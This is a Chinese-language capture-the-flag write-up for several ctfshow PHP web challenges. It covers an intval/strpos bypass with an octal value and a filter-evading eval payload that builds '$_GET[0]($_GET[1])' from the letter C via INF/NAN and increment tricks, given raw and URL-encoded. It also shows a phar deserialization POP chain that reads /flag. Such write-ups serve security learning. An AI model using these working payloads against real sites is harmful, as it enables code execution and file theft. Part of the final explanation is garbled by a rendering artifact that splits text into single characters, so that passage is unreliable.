| shellme搜索ctfshow即可 
 热身<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){ 
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){ 
        die("no no no!!");
    }
    if(!strpos($num, "0")){ 
        die("no no no!!!");
    }
    if(intval($num,0)===4476){ 
        echo $flag;
    }
}
 首先,第一个条件是经过弱类型处理后的num不能等于4476,再加上第二道坎,多以字符串4476掺杂字符是过不了的,strpos函数漏洞也被ban了,但是strpos是有三个参数的,当第三参数默认时,则默认为从第0位开始找 <?php
$a = '00123';
if(strpos($a,'0')){
	echo "不是从第0位";
}else{
	echo "从第0位开始的";
}
?>
 所以利用8进制配合+即可绕过 ?num=+010574
 shellme_Revengef3页面查找hint: hint=%3Flooklook; ===>hint=?looklook;
 在cookie中也存在hint 然后?looklook=1即可得到题目源码: <?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {
    phpinfo();
}
?>
 一道命令执行题目!!! 所有可见符号基本已经过滤了!!! 可用的字符有:大写C、0到3、[、]、$、_、(、)、; 一些不包含数字和字母的webshell利用的是方法三: 利用的是: 强制连接数组和字符串,数组将被转换成字符串 <?php
$a = ''.[];
echo $a;
?>
 这里可以利用: PHP认为结果是无限大时,给出的结果是:INF(Infinite)如果一个数超出 Infinite(无限大,正无穷),那就是: NAN(not-a-number)
 <?php
$a = var_dump(C/C);
$b = var_dump(1/C);
echo $a.$b;
?>
 字母/字母=0/0就会被认为是无法被测量也就是NaN 1/字母=1/0会被认为无限大INF 但是想要得到单个字符还需要连接一个字符: <?php
$a = C/C.C;
echo $a[0];
?>
 那我们需要的语句是:$_GET[0]($_GET[1]) | 例子 | 名称 | 效果 | 
|---|
 | ++$a | 前加 | $a 的值加一,然后返回 $a。 |  | $a++ | 后加 | 返回 $a,然后将 $a 的值加一。 |  | –$a | 前减 | $a 的值减一, 然后返回 $a。 |  | $a– | 后减 | 返回 $a,然后将 $a 的值减一。 | 
 自增开始: <?php
$_=C;
$_++; 
$C=++$_; 
$_++; 
$C_=++$_; 
$_=(C/C.C)[0]; 
$_++; 
$_++; 
$_++; 
$_++; 
$_++; 
$_=_.$C_.$C.++$_; 
$$_[1]($$_[2]); 
?>
 payload:ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]); url编码:ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B 
 ATTupphp反序列化从入门到放弃(入门篇) 抓包去上一级目录查找源码: 
 class View {
    public $fn;
    public function __invoke(){
        $text = base64_encode(file_get_contents($this->fn));
        echo "<script>alert('".$text."');self.location=document.referrer;</script>";
    }
}
class Fun{
    public $fun = ":)";
    public function __toString(){
        $fuc = $this->fun;
        $fuc();
        return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
    }
    public function __destruct()
    {
        echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
    }
}
$filename = $_POST["file"];
$stat = @stat($filename);
 没有序列化的点,同时满足上传,所以是利用上传phar文件然后phar://协议来执行 利用phar://协议的条件: 1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4、: / phar 这些字符没有给过滤
 <?php
class Fun{
    public $fun ;
}
class View {
  public $fn='/flag';
  
}
$d=new Fun();
$v = new View();
$d->fun = $v;
$new = new Fun();
$new->fun = $d;
$phar = new Phar("test.phar"); 
$phar->startBuffering();
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); 
$phar->setMetadata($new); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();    
 可以倒着看pop链首先让$new->fun = $d;而此时的
    
     
      
       
        d
       
       
        是
       
       
        一
       
       
        个
       
       
        对
       
       
        象
       
       
        ,
       
       
        而
       
      
      
       d是一个对象,而
      
     
    d是一个对象,而new->fun会在析构函数中被当做字符串拼接,也就是
    
     
      
       
        d
       
       
        一
       
       
        个
       
       
        对
       
       
        象
       
       
        被
       
       
        作
       
       
        为
       
       
        字
       
       
        符
       
       
        串
       
       
        输
       
       
        出
       
       
        ,
       
       
        所
       
       
        以
       
       
        就
       
       
        会
       
       
        调
       
       
        用
       
       
        t
       
       
        o
       
       
        s
       
       
        t
       
       
        r
       
       
        i
       
       
        n
       
       
        g
       
       
        ,
       
       
        此
       
       
        时
       
       
        ‘
       
      
      
       d一个对象被作为字符串输出,所以就会调用tostring,此时`
      
     
    d一个对象被作为字符串输出,所以就会调用tostring,此时‘d->fun = 
    
     
      
       
        v
       
       
        ;
       
       
        ‘
       
       
        f
       
       
        u
       
       
        n
       
       
        c
       
       
        =
       
      
      
       v;`func=
      
     
    v;‘func=v,而$v也是一个对象,所以把对象当成一个函数调用就会触发类view中的invoke方法,又因为fn可控所以就会读出我们想要的文件 
 然后解码就可以了 |